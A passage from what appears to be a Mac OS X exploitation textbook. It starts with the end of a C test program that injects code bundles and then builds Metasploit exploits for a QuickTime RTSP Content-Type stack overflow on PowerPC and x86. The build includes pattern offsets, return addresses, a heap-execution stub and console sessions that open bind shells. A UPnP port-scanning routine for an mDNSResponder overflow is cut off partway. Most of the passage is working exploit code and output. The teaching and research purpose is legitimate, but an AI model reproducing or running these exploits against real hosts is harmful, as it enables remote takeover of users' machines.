        err(EXIT_FAILURE, “send”);

    /* Send code */

    fprintf(stderr, “ -> Sending code…\n”);

    if ((n = send(s, mem, size, 0)) < size)

        err(EXIT_FAILURE, “send”);
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    free(mem);

    /*

     * The remote_execution_loop will now execute inject_bundle

     */

    

    /*

     * Bundle loader expects to read bundle next

     */

    /* Open file */

    if ((fd = open(“bundle.bundle”, O_RDONLY)) < 0) {

        err(EXIT_FAILURE, “open”);

    }

    

    /* Get size of file */

    if (fstat(fd, &stat_buf) < 0) {

        err(EXIT_FAILURE, “fstat”);

    }

    size = stat_buf.st_size;

    

    mem = malloc(size);

    if (read(fd, mem, size) < 0) {

        err(EXIT_FAILURE, “read”);

    }

    close(fd);

    

    fprintf(stderr, “ => Executing bundle.bundle in inject_bundle…\n”);

    // Send bundle size

    fprintf(stderr, “ -> Sending size…\n”);

    if (send(s, (char*)&size, 4, 0) < 0)

        err(EXIT_FAILURE, “send”);

    // Send bundle

    fprintf(stderr, “ -> Sending code…\n”);

    if ((n = send(s, mem, size, 0)) < size)

        err(EXIT_FAILURE, “send”);

    free(mem);

    /*

     * Bundle loader will now execute the bundle

     */

    // Read return value from bundle’s run() function

    fprintf(stderr, “ -> Receiving return value…\n”);

    if (recv(s, (char*)&n, sizeof(n), 0) < 0)
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        err(EXIT_FAILURE, “read”);

    fprintf(stderr, “ -> Bundle returned: 0x%x\n”, n);

    // Check result

    return (n != 0xdeadbeef);

}

int client()

{

    int s = unc(1, INADDR_LOOPBACK, 1234);

    if (test_remote_execution_loop(s)) {

        fprintf(stderr, “test_remote_executon_loop: fail\n”);

        return 1;

    }

    else

        fprintf(stderr, “test_remote_executon_loop: ok\n”);

    if (test_inject_bundle(s)) {

        fprintf(stderr, “test_inject_bundle: fail\n”);

        return 1;

    }

    else

        fprintf(stderr, “test_inject_bundle: ok\n”);

    return 0;

}

int main(int argc, char* argv[])

{

    pthread_t thread;

    pthread_create(&thread, NULL, server, NULL);

    

    return client();

}

When you run this test program, it will print out status messages and check 
the return values from injected components and bundles to make sure they 
executed correctly. For example, the following is the output from test_remote_
execution_loop showing correct execution.

% ./test_remote_execution_loop

==> test_remote_execution_loop: executing simple component to return 

0xdeadbeef

 -> Sending size…

 -> Sending code…

 -> Receiving return value…

 -> Component returned: 0xdeadbeef
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test_remote_executon_loop: ok

==> test_inject_bundle: inject bundle to return 0xdeadbeef

 => Executing inject_bundle.bin in remote_execution_loop…

 -> Sending size…

 -> Sending code…

 => Executing bundle.bundle in inject_bundle…

 -> Sending size…

 -> Sending code…

 -> Receiving return value…

In init()

In run()

 -> Bundle returned: 0xdeadbeef

test_inject_bundle: ok

In fini()

Conclusion

This chapter introduced our methodology for developing and testing compo-
nent-based exploit payloads. After introducing the concepts of modern exploit 
payloads, we explained some of the important intricacies of Mac OS X, such as 
the requirement that vfork() come before execve() and how to save space when 
calling execve(). This chapter gave a brief overview of the architectures sup-
ported by Mac OS X and demonstrated a variety of payloads on both architec-
tures: the simpler payloads on the PowerPC architecture and the more complex 
on the Intel x86 architecture. The next chapter will use the demonstrated pay-
loads in full exploits against vulnerabilities in real-world Mac OS X software. 
Chapter 11 will build on the inject_bundle payload to demonstrate dynamically 
injecting code to override C functions and Objective-C methods.
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The last three chapters discussed exploitation and exploit payload techniques in 
isolation, presenting the background and theory of vulnerability exploitation. 
In this chapter, we are going to put the theory into practice and demonstrate 
the techniques in real-world exploits for Mac OS X Tiger and Leopard for both 
PowerPC and x86.

In the examples in this chapter, we will also demonstrate the process of devel-
oping an exploit for a given vulnerability from the point where the vulnerability 
may be reliably triggered to the point that we have reliable code execution. If an 
attack string can be considered an equation, where the variables are the elements 
in the attack string that affect execution, then this process essentially involves 
identifying and solving for these variables. In practice we will use tools such as 
pattern strings to identify the offsets of signifi cant elements in the attack string, 
and we’ll examine the process address space to fi nd suitable memory addresses 
or values for these elements.

Most exploits are no longer run as stand-alone programs, but are used within 
a larger framework such as the CORE IMPACT and CANVAS penetration-test-
ing tools or the open-source Metasploit Framework. In this chapter we will use 
Metasploit since it is freely available and well documented. All the exploits in 
this chapter are available as fully functional exploits for Metasploit in this book’s 
accompanying source-code package. They may be used with Metasploit’s own 
payloads or the payloads described in the previous chapter, which are also 
included as Metasploit modules.

C H A P T E R 

10

Real-World Exploits
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QuickTime RTSP Content-Type Header Overfl ow

Apple QuickTime versions 4.0 through 7.3 were vulnerable to a stack buffer over-
fl ow when processing a long Content-Type header sent in a Real Time Streaming 
Protocol (RTSP) response from a server. A malicious user could embed an RTSP 
link in a web page to cause a user to connect to their malicious RTSP server. This 
vulnerability affected all Mac and Windows platforms supported by vulnerable 
versions of QuickTime.

This exploit makes a nice fi rst example since it is quite simple to reproduce 
and affects QuickTime on both Tiger and Leopard. This allows us to use it to 
demonstrate a variety of exploitation techniques on PowerPC and x86.

Triggering the Vulnerability
We are going to walk you through the process of triggering and developing an 
exploit for this vulnerability using Metasploit. In the code examples that fol-
low, we will show you important Metasploit module methods in isolation, but 
not the entire modules. For the entire modules, see the book’s accompanying 
source-code package.

First we will verify that we can trigger the vulnerability in the simplest way 
possible: by sending a long string of “A” characters. In this particular vulner-
ability we must send a nonempty RTSP response body, but it does not matter 
what is in it. We also must be sure that we leave the connection open and do 
not close it in our exploit’s on_client_connect method.

def on_client_connect(client)

  boom = “A” * 1024

  body = “ “

  header =

    “RTSP/1.0 200 OK\r\n”+

    “CSeq: 1\r\n”+

    “Content-Type: #{boom}\r\n”+

    “Content-Length: #{body.length}\r\n\r\n”

  client.put(header + body)

end

Now if we connect to the RTSP server through QuickTime Player or by click-
ing on an RTSP link in Safari, we will get a nice juicy crash and we can begin 
working on the exploit.
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Exploitation on PowerPC
We will begin by exploiting this vulnerability on the oldest and simplest plat-
form to exploit, QuickTime 7.0.0 on Mac OS X 10.4.0 for PowerPC. Although 
the memory addresses are specifi c to this operating system version, the offsets 
remain the same and alternate memory addresses could be substituted to exploit 
versions of QuickTime up to 7.3 on Leopard.

In developing the exploit, we will use Metasploit’s pattern strings to quickly 
and easily identify offsets within our attack string. As a fi rst step, we will replace 
our long string of “A” characters with a pattern string of the same length and 
attempt the exploit again. Our exploit method now looks like this:

def on_client_connect(client)

    boom = Rex::Text.pattern_create(1024)

    body = “ “

    header =

      “RTSP/1.0 200 OK\r\n”+

      “CSeq: 1\r\n”+

      “Content-Type: #{boom}\r\n”+

      “Content-Length: #{body.length}\r\n\r\n”

    

    client.put(header + body)

  end

Now we will launch Metasploit and our exploit within it on our attacking 
host. Notice that we don’t set any variables, like PAYLOAD, LHOST, or RHOST, 
because we aren’t actually using any payloads yet.

% ./msfconsole 

                _                  _       _ _

               | |                | |     (_) |

 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_

| ‘_ ` _ \ / _ \ __/ _` / __| ‘_ \| |/ _ \| | __|

| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_

|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|

                            | |

                            |_|

       =[ msf v3.2-release

+ -- --=[ 308 exploits - 172 payloads

+ -- --=[ 20 encoders - 6 nops

       =[ 67 aux
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msf > use exploit/osx/quicktime/rtsp_content_type

msf exploit(rtsp_content_type) > exploit

[*] Started bind handler

[*] Server started.

msf exploit(rtsp_content_type) >

On the target host, we will launch QuickTime Player from GDB so that we 
may easily detect and examine the crashes.

% gdb /Applications/QuickTime\ Player.app/Contents/MacOS/QuickTime\ 

Player 

GNU gdb 6.1-20040303 (Apple version gdb-384) (Mon Mar 21 00:05:26 GMT 

2005)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you 

are

welcome to change it and/or distribute copies of it under certain 

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for 

details.

This GDB was configured as “powerpc-apple-darwin”…Reading symbols for 

shared libraries ........... done

warning: unable to read history from “/Users/ddz/.gdb_history”: 

Permission denied

(gdb) run

Starting program: /Applications/QuickTime Player.app/Contents/MacOS/

QuickTime Player 

Reading symbols for shared libraries ...................................

..................................... done

Reading symbols for shared libraries .. done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done
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At this point we will manually connect to the malicious RTSP URL in 
QuickTime Player and get it to crash.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x33417334

0x33417334 in ?? ()

Excellent. We have crashed by returning to an address that we can control in 
our exploit. We can identify this by seeing that the register’s value is all ASCII 
byte values, corresponding to a substring within our pattern string. Metasploit 
includes a command-line tool (pattern_offset.rb) to identify the offset of a four-
byte value within a pattern string of a given length. We can use this to identify 
the offset of the return address by passing the hexadecimal values of the bytes 
from the string. This tool assumes that the hex values are little-endian, so we 
must reverse the byte order ourselves.

% ./tools/pattern_offset.rb 0x34734133 1024

551

Let’s look around some more.

(gdb) info registers

r0             0x68750000     1752498176

r1             0xbfffc240     3221209664

r2             0x72     114

r3             0x6875683f     1752524863

r4             0xbfffc120     3221209376

r5             0x0     0

r6             0x0     0

r7             0x0     0

r8             0x33417334     859927348

r9             0xbfffc020     3221209120

r10            0x60     96

r11            0xaa0dbb04     2853026564

r12            0x90b23f44     2427600708

r13            0x0     0

r14            0x0     0

r15            0x0     0

r16            0x20000000     536870912

r17            0x0     0

r18            0x0     0

r19            0x0     0

r20            0xbfffd7b0     3221215152

r21            0x0     0

r22            0x1     1

r23            0xff0     4080

r24            0x0     0

r25            0x72730000     1920139264
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r26            0x3f6ff0     4157424

r27            0xbfffc390     3221210000

r28            0xbfffc390     3221210000

r29            0x41723741     1098004289

r30            0x72384172     1916289394

r31            0x39417330     960590640

pc             0x33417334     859927348

ps             0x4200f030     1107357744

cr             0x24242444     606348356

lr             0x33417334     859927348

ctr            0x90b23f44     2427600708

xer            0x4     4

mq             0x0     0

fpscr          0xa6024100     2785165568

vscr           0x10001     65537

vrsave         0x0     0

(gdb)

In the preceding register dump, observe that registers r3, r8, r29, r30, r31, and 
lr are under the attacker’s control. Also note that several registers hold stack-
memory addresses, and since this is a stack buffer overfl ow, some of these may 
point to our attack string. That just happens to be the case.

(gdb) x/x 0xbfffc390

0xbfffc390:     0x42643342

(gdb) x/s 0xbfffc390

0xbfffc390:      “Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9

Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2

Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B??p”

As before, we will use pattern_offset.rb to identify the offset within our attack 
string to which this memory address points. This time we will pass four char-
acters from the string rather than a reversed hexadecimal address.

% ./tools/pattern_offset.rb Bd3Bd 1024

879

We now know the offset of the return address in our attack string, two reg-
isters that point to our attack string, and the offset within our attack string to 
which the registers point. This is enough for us to build an exploit if we can fi nd 
a return address that will transfer control indirectly through that register.

The easiest way for us to fi nd a suitable return address is to grep through a 
disassembly. We will disassemble /usr/lib/dyld since it is mapped into every 
process at a known location and changes less often than other libraries do. 
On PowerPC, register-indirect function calls are made by loading a memory 
address into the ctr register and executing a bctrl instruction. We will search 
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through the disassembly for any instructions that load r27 or r28 into the ctr 
register and call it.

otool -tv /usr/lib/dyld | grep -A 1 -E ‘mtspr.*ctr,(r27|r28)’ | grep -B 

1 bctrl

8fe23b30     mtspr     ctr,r28

8fe23b34     bctrl

--

8fe2d304     mtspr     ctr,r27

8fe2d308     bctrl

--

8fe2d3f4     mtspr     ctr,r27

8fe2d3f8     bctrl

--

8fe2d604     mtspr     ctr,r27

8fe2d608     bctrl

--

8fe3f88c     mtspr     ctr,r27

8fe3f890     bctrl

That gives us several useful return addresses to choose from. Now we can put 
this address into our exploit. Instead of a payload, we will simply use a single 
breakpoint instruction. This is useful to see whether we are executing memory 
where we want to without having to worry about any complications arising from 
an exploit payload or encoder. Our exploit method now looks like this:

def on_client_connect(client)

  boom = Rex::Text.pattern_create(1024)

      

  boom[551, 4] = [0x8fe23b30].pack(‘N’)

  boom[879, 4] = [0x7c842008].pack(‘N’)

      

  body = “ “

  header =

    “RTSP/1.0 200 OK\r\n”+

    “CSeq: 1\r\n”+

    “Content-Type: #{boom}\r\n”+

    “Content-Length: #{body.length}\r\n\r\n”

      

  client.put(header + body)

end

When we reload our exploit in Metasploit on the attacker host and in 
QuickTime Player on the target host, we see that we successfully execute our 
breakpoint instruction.

Program received signal EXC_SOFTWARE, Software generated exception.

0xbfffc390 in ?? ()

(gdb)

95363c10.indd   26795363c10.indd   267 1/25/09   4:42:47 PM1/25/09   4:42:47 PM



268 Part III ■ Exploitation

Finally, we clean up our exploit method by making our magic addresses 
exploit target parameters and use a real Metasploit payload instead of a single 
breakpoint instruction. Our fi nal exploit method looks like the following.

def on_client_connect(client)

  boom = Rex::Text.pattern_create(1024)

      

  boom[551, 4] = [target[‘bl_r27’]].pack(‘N’)

  boom[879, payload.encoded.length] = payload.encoded

      

  body = “ “

  header =

    “RTSP/1.0 200 OK\r\n”+

    “CSeq: 1\r\n”+

    “Content-Type: #{boom}\r\n”+

    “Content-Length: #{body.length}\r\n\r\n”

      

  client.put(header + body)

  handler(client)

end

For the fi nal test, we will launch the full Metasploit exploit module with a 
real payload and see whether it works.

% ./msfconsole 

                _                  _       _ _

               | |                | |     (_) |

 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_

| ‘_ ` _ \ / _ \ __/ _` / __| ‘_ \| |/ _ \| | __|

| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_

|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|

                            | |

                            |_|

       =[ msf v3.2-release

+ -- --=[ 308 exploits - 172 payloads

+ -- --=[ 20 encoders - 6 nops

       =[ 67 aux

msf > set LHOST 10.13.37.96

LHOST => 10.13.37.96

msf > set RHOST 10.13.37.98

RHOST => 10.13.37.98

msf > use exploit/osx/quicktime/rtsp_content_type

msf exploit(rtsp_content_type) > set PAYLOAD osx/ppc/shell_bind_tcp

PAYLOAD => osx/ppc/shell_bind_tcp
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msf exploit(rtsp_content_type) > set ENCODER ppc/longxor

ENCODER => ppc/longxor

msf exploit(rtsp_content_type) > exploit

[*] Started bind handler

[*] Server started.

msf exploit(rtsp_content_type) > 

[*] Command shell session 1 opened (10.13.37.96:53569 -> 

10.13.37.98:4444)

id

uid=501(ddz) gid=501(ddz) groups=501(ddz), 81(appserveradm), 

79(appserverusr), 80(admin)

pwd

/

exit;

[*] Command shell session 1 closed.

We can see that our exploit did work and gave us a remote command shell 
on the target host.

Note that our exploit used only one magic memory address. To port it to 
other targets, we need only to fi nd an appropriate memory address to redirect 
execution indirectly into r27 or r28. In some cases it may be possible to fi nd 
values that rarely change across operating system or QuickTime releases, but 
we leave that as an exercise for you.

Retargeting to Leopard (PowerPC)

Leopard 10.5.0 shipped with a different version of QuickTime (7.2.1), and retar-
geting the exploit requires just a few changes. In particular, the offset to the 
return address within the attack string differs, as do the registers that used 
to point within our attack string. If we attempt our exploit while debugging 
QuickTime Player, we can see these differences.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x41753540

0x41753540 in ?? ()

(gdb) info reg

r0             0x41753541     1098200385

r1             0xbfffcae0     3221211872

r2             0x0     0

r3             0xffffeae6     4294961894

r4             0xffffeae6     4294961894

r5             0x65727220     1701999136
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r6             0x0     0

r7             0x1     1

r8             0x1     1

r9             0x93f1ddf0     2482101744

r10            0xbfffc788     3221211016

r11            0x696e5bc     110552508

r12            0x68683f0     109478896

r13            0x40000000     1073741824

r14            0x0     0

r15            0x4ed0380     82641792

r16            0xbfffd574     3221214580

r17            0xbfffd56c     3221214572

r18            0x0     0

r19            0xa033f94c     2687760716

r20            0xbfffd598     3221214616

r21            0x41733541     1098069313

r22            0x73364173     1932935539

r23            0x37417338     927036216

r24            0x41733941     1098070337

r25            0x74304174     1949319540

r26            0x31417432     826373170

r27            0x41743341     1098134337

r28            0x74344174     1949581684

r29            0x35417436     893482038

r30            0x41743741     1098135361

r31            0x74384174     1949843828

pc             0x41753540     1098200384

ps             0x4200f030     1107357744

cr             0x44242422     1143219234

lr             0x41753541     1098200385

ctr            0x68683f0     109478896

xer            0x7     7

mq             0x0     0

fpscr          0x86024000     2248294400

vscr           0x10001     65537

vrsave         0x0     0

(gdb) x/x $r20

Cannot access memory at address 0x41753540

Cannot access memory at address 0x41753540

Cannot access memory at address 0x75324175

0xbfffd598:     0xbfffd774

(gdb) x/x $r17

0xbfffd56c:     0xbfffd744

(gdb) x/x $r16

0xbfffd574:     0x00000000

(gdb) x/x $r10

0xbfffc788:     0x00100100

(gdb) x/x $r1 

0xbfffcae0:     0x75324175

(gdb) x/s $r1

0xbfffcae0:      “u2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av
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9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay 

3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4 

Ba5Ba6Ba7Ba8”

…

Currently, only r1 points into our attack string, but r16, r17, and r20 point within 
2,700 bytes of it. If we increase the size of our pattern string to 5,000 bytes and 
launch our exploit again, these registers will point within the attack string.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x41753540

0x41753540 in ?? ()

(gdb) x/x $r16

Cannot access memory at address 0x41753540

Cannot access memory at address 0x41753540

Cannot access memory at address 0x75324175

0xbfffd574:     0x45673545

(gdb) x/x $r17

0xbfffd56c:     0x67324567

(gdb) x/x $r20

0xbfffd598:     0x45683745

(gdb)

We can use the same disassembly grep method to find a useful return 
address again.

$ otool -tv /usr/lib/dyld | grep -A 1 -E ‘mtspr.*(r16|r17|r20)’

8fe042e0     mtspr     ctr,r20

8fe042e4     bctrl

…

We now have the following exploit method:

def on_client_connect(client)

  boom = Rex::Text.pattern_create(5000)

  boom[615, 4] = [target[‘bl_r20’]].pack(‘N’)

  boom[3351, payload.encoded.length] = payload.encoded

   

  body = “ “

  header =

    “RTSP/1.0 200 OK\r\n”+

    “CSeq: 1\r\n”+

    “Content-Type: #{boom}\r\n”+

    “Content-Length: #{body.length}\r\n\r\n”

      

  client.put(header + body)

  handler(client)

end
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Finally we verify that the full exploit works by running it through Metasploit and 
loading the malicious RTSP URL in QuickTime Player on the target machine.

% ./msfconsole

                     888                           888        d8b888

                     888                           888        Y8P888

                     888                           888           888

88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888

888 “888 “88bd8P  Y8b888       “88b88K     888 “88b888d88””88b888888

888  888  88888888888888   .d888888”Y8888b.888  888888888  888888888

888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.

888  888  888 “Y8888  “Y888”Y888888 88888P’88888P” 888 “Y88P” 888 “Y888

                                           888

                                           888

                                           888

       =[ msf v3.2-release

+ -- --=[ 308 exploits - 172 payloads

+ -- --=[ 20 encoders - 6 nops

       =[ 67 aux

resource> set LHOST 10.13.37.96

LHOST => 10.13.37.96

resource> set RHOST 10.13.37.98

RHOST => 10.13.37.98

resource> set PAYLOAD osx/ppc/shell_bind_tcp

PAYLOAD => osx/ppc/shell_bind_tcp

resource> set ENCODER ppc/longxor

ENCODER => ppc/longxor

resource> use exploit/osx/quicktime/rtsp_content_type

msf exploit(rtsp_content_type) > exploit

[*] Started bind handler

[*] Server started.

msf exploit(rtsp_content_type) > 

[*] Command shell session 1 opened (10.13.37.96:55124 -> 

10.13.37.98:4444)

uname -a

Darwin MacMini.local 9.0.0 Darwin Kernel Version 9.0.0: Tue Oct  9 

21:37:58 PDT 2007; root:xnu-1228~1/RELEASE_PPC Power Macintosh

id

uid=501(ddz) gid=20(staff) groups=20(staff),98(_lpadmin),101(com.apple.

sharepoint.group.1),81(_appserveradm),79(_appserverusr),80(admin)

pwd

/

exit

[*] Command shell session 1 closed.

msf exploit(rtsp_content_type) > 
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Exploitation on x86
Whereas on PowerPC we could execute our code directly from the stack, we 
cannot do so on x86. This will give us an opportunity to use one of our tricks 
from Chapter 7, “Exploiting Stack Overfl ows”: a payload stub that copies our 
payload to the heap and executes it from there.

Again we begin with a minimalist exploit method that just uses a long pat-
tern string to trigger the vulnerability and allow us to calculate the offsets of 
critical attack string elements.

def on_client_connect(client)

  boom = Rex::Text.pattern_create(5000)

  body = “ “

  header =

    “RTSP/1.0 200 OK\r\n”+

    “CSeq: 1\r\n”+

    “Content-Type: #{boom}\r\n”+

    “Content-Length: #{body.length}\r\n\r\n”

      

  client.put(header + body)

  handler(client)

end

We launch QuickTime Player, attach a debugger, and then load the exploit 
RTSP URL.

% ps auxww | grep QuickTime

user      1431  10.5  2.6   303756  26964   ??  S     9:17PM   

0:05.71 /Applications/QuickTime Player.app/Contents/MacOS/QuickTime 

Player -psn_0_254014

% gdb -p 1431

GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct  2 04:07:49 

UTC 2007)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and 

you are

welcome to change it and/or distribute copies of it under certain 

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for 

details.

This GDB was configured as “i386-apple-darwin”.

/Users/user/1431: No such file or directory.

Attaching to process 1431.

Reading symbols for shared libraries . done

Reading symbols for shared libraries 

........................................................................

...................................... done

0x9594c8e6 in mach_msg_trap ()
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(gdb) cont

Continuing.

Reading symbols for shared libraries . done

Reading symbols for shared libraries . done

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x6b413695

0x0d4f61c5 in _EngineNotificationProc ()

(gdb) x/i $eip

0xd4f61c5 <_EngineNotificationProc+2790>:     mov    0x2a(%eax),%eax

(gdb) p /x $eax

$1 = 0x6b41366b

(gdb)

You can see that the process failed trying to write to a memory address that 
we can control. As before, we calculate the offset of the element within the 
attack string.

% ./tools/pattern_offset.rb 0x6b41366b 5000

319

Now we will place a writable memory address at offset 319 of our attack 
string and try again.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x386b420f

0x0d4f61eb in _EngineNotificationProc ()

(gdb) x/i $eip

0xd4f61eb <_EngineNotificationProc+2828>:     movb   $0x1,0xd8(%ecx)

(gdb) p /x $ecx

$1 = 0x386b4137

Again we calculate the offset of this memory address (323) and adjust our 
attack string so that there is a readable memory address at offset 323. In this case 
we may simply reuse the writable memory address we used previously since it 
is obviously also readable. When we launch the exploit again, we will see that 
we now have direct control over EIP and the execution of the process.

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x6b41326b

0x6b41326b in ?? ()

(gdb) info registers

eax            0xffffeae6     -5402

ecx            0x346b4133     879444275

edx            0x0     0

ebx            0x41376a41     1094150721

esp            0xbfffd450     0xbfffd450

ebp            0x41316b41     0x41316b41

esi            0x6a41386a     1782659178
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edi            0x306b4139     812335417

eip            0x6b41326b     0x6b41326b

eflags         0x10286     66182

cs             0x17     23

ss             0x1f     31

ds             0x1f     31

es             0x1f     31

fs             0x0     0

gs             0x37     55

(gdb) x/8x $esp  

0xbfffd450:     0x346b4133     0x41356b41     0x8fe66448     0x8fe66448

0xbfffd460:     0x41396b41     0x6c41306c     0x326c4131     0x41336c41

We will have to work around Leopard’s non-executable stack and Library 
Randomization. We are going to do this using the exec-payload-from-heap stub 
that we described in Chapter 7; however, there are some complications in this 
case that we will need to work around. The stub assumes that it is written begin-
ning at the overwritten frame pointer (EBP) and that the payload follows imme-
diately after it. In this case the writable and readable memory addresses that we 
have just placed in the attack string are at offsets that would fall in the middle of 
the stub. To work around this we will move the stub to after these elements in 
the attack string and adjust execution as necessary so that the stub will function 
normally. This will be a little tricky, but no one said exploits were trivial.

Look at the dump of the stack pointer in the GDB output in the preceding 
code. At the time that our fi rst return address is used, it points to eight bytes 
before our writable memory addresses. We want to adjust the stack pointer so 
that it points to after them, where we can place our exec-payload-from-heap 
stub. We will do this fi rst by returning to a ret instruction (ret2ret). This will 
adjust our stack pointer forward by four bytes. We can do this multiple times 
in a ret sled to advance our stack pointer forward arbitrarily. Nevertheless, we 
will soon run into our writable memory addresses in our attack string. We will 
skip over those by terminating the ret sled with a return address that executes 
two pop instructions and then a ret instruction, but wait—there is more. We 
must place the fi rst four bytes of the stub in the attack string at the offset of the 
overwritten saved frame pointer and then place the rest of it after the writable 
memory addresses.

This fi nally makes our exploit method look like the following. We use a few 
breakpoint interrupts instead of a payload so that we can verify that we are 
executing instructions from the attack string correctly.

def on_client_connect(client)

  boom = Rex::Text.pattern_create(5000)

  boom[307, 4] = [target[‘ret’]].pack(‘V’)

  boom[311, 4] = [target[‘ret’]].pack(‘V’)

  boom[315, 4] = [target[‘poppopret’]].pack(‘V’)
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  boom[319, 4] = [target[‘Writable’]].pack(‘V’)

  boom[323, 4] = [target[‘Writable’]].pack(‘V’)

        

  #

  # Create exec-payload-from-heap-stub, but split it in two.

  # The first word must be placed as the overwritten saved ebp

  # in the attack string.  The rest is placed after the

  # Writable memory addresses.

  #

  magic = make_exec_payload_from_heap_stub()

  boom[303, 4] = magic[0, 4]

  boom[327, magic.length - 4] = magic[4..-1]

  #

  # Place the payload immediately after the stub as it expects

  #

  boom[327 + magic.length - 4, 4] = “\xCC\xCC\xCC\xCC”

  body = “ “

  header =

    “RTSP/1.0 200 OK\r\n”+

    “CSeq: 1\r\n”+

    “Content-Type: #{boom}\r\n”+

    “Content-Length: #{body.length}\r\n\r\n”

      

  client.put(header + body)

  handler(client)

end

When we launch the exploit against a QuickTime Player in the debugger, we 
successfully execute the breakpoint interrupts.

Program received signal SIGTRAP, Trace/breakpoint trap.

0x0e3af001 in ?? ()

(gdb) 

Now, as before, we can just replace the breakpoint instructions with the 
Metasploit payload, and we have a fully functioning Metasploit exploit.

mDNSResponder UPnP Location Header Overfl ow

As we discussed earlier in this book, mDNSResponder is the daemon responsible 
for Bonjour (formerly known as Rendezvous). It is enabled by default and allowed 
through the fi rewall on all versions of Mac OS X. That makes it very security 
sensitive. On Leopard mDNSResponder runs as an unprivileged user and is 
sandboxed. On Tiger there is no sandbox and mDNSResponder runs as root.
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mDNSResponder has some other functionality that is not so well advertised. 
It is also responsible for creating NAT mappings in home routers using the 
Universal Plug and Play (UPnP) protocol. The code dealing with this protocol 
has had a number of vulnerabilities in the past. In particular, on Mac OS X 10.4.0 
through 10.4.9 there was a data segment buffer overfl ow in the processing of 
Location headers in UPnP responses. This vulnerability was a default confi gura-
tion remote root that couldn’t be stopped using the built-in Mac OS X fi rewall, 
making it perhaps one of the most serious vulnerabilities discovered in OS X.

Triggering the Vulnerability
Data segment buffer overfl ows are unlike stack and heap overfl ows because 
there are no inline control data structures to overwrite. Sometimes, however, 
there are data variables that can be overwritten to gain control of execution. In 
this case, a very long (roughly 22 KB) string used for the overfl ow will overwrite 
a global structure that contains a pair of callback function pointers. By overwrit-
ing these pointers and manipulating mDNSResponder into calling them, we 
can gain execution control and execute arbitrary code.

mDNSResponder listens on an ephemeral UDP port for UPnP responses. 
The ports in the range 49152 to 65535 are reserved for ephemeral ports and 
mDNSResponder’s UPnP port will often be found on one of the lower ports in 
this range.

When mDNSResponder receives a UPnP response, it does not care if it did 
not send out any requests. It will also attempt to download a fi le from the URL 
given in the Location header of the UPnP response. We use this fact to scan for 
the port that the UPnP service is listening on. By sending a UPnP response to 
each UDP port in the ephemeral port range with a unique URL, we can identify 
which port the UPnP service is listening on by correlating the URL requested 
to the port that we sent it to. Once we have identifi ed the UPnP service’s UDP 
port, we can send the UPnP response with the long Location header to trigger 
the vulnerability.

In our Metasploit module, we perform this scan with two methods: scan_for_
upnp_port(), which does the active scanning, and upnp_server(), which is run 
within a thread to receive and process incoming UPnP GET requests.

def upnp_server(server)

  client = server.accept()

  request = client.readline()

  if (request =~ /GET \/([\da-f]+).xml/)

    @mutex.synchronize { 

      @found_upnp_port = true

      @upnp_port = @key_to_port[$1]

      # Important: Keep the client connection open

      @client_socket = client

    }
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  end

end

def scan_for_upnp_port

  @upnp_port = 0

  @found_upnp_port = false

      

  upnp_port = 0

  server = TCPServer.open(1900)

  server_thread = Thread.new { self.upnp_server(server) }

  begin

    socket = Rex::Socket.create_udp

    upnp_location = 

      “http://” + datastore[‘LHOST’] + “:” + datastore[‘SRVPORT’]

        

    puts “[*] Listening for UPNP requests on: #{upnp_location}”

    puts “[*] Sending UPNP Discovery replies…”

    i = 49152;

    while i < 65536 && @mutex.synchronize { @found_upnp_port == false }

      key = sprintf(“%.2x%.2x%.2x%.2x%.2x”,

                    rand(255), rand(255), rand(255), rand(255),

                    rand(255))

          

      @mutex.synchronize { 

        @key_to_port[key] = i

      }

          

      upnp_reply =

        “HTTP/1.1 200 Ok\r\n” +

        “ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n” +

        “USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n” +

        “Location: #{upnp_location}/#{key}.xml\r\n\r\n”

          

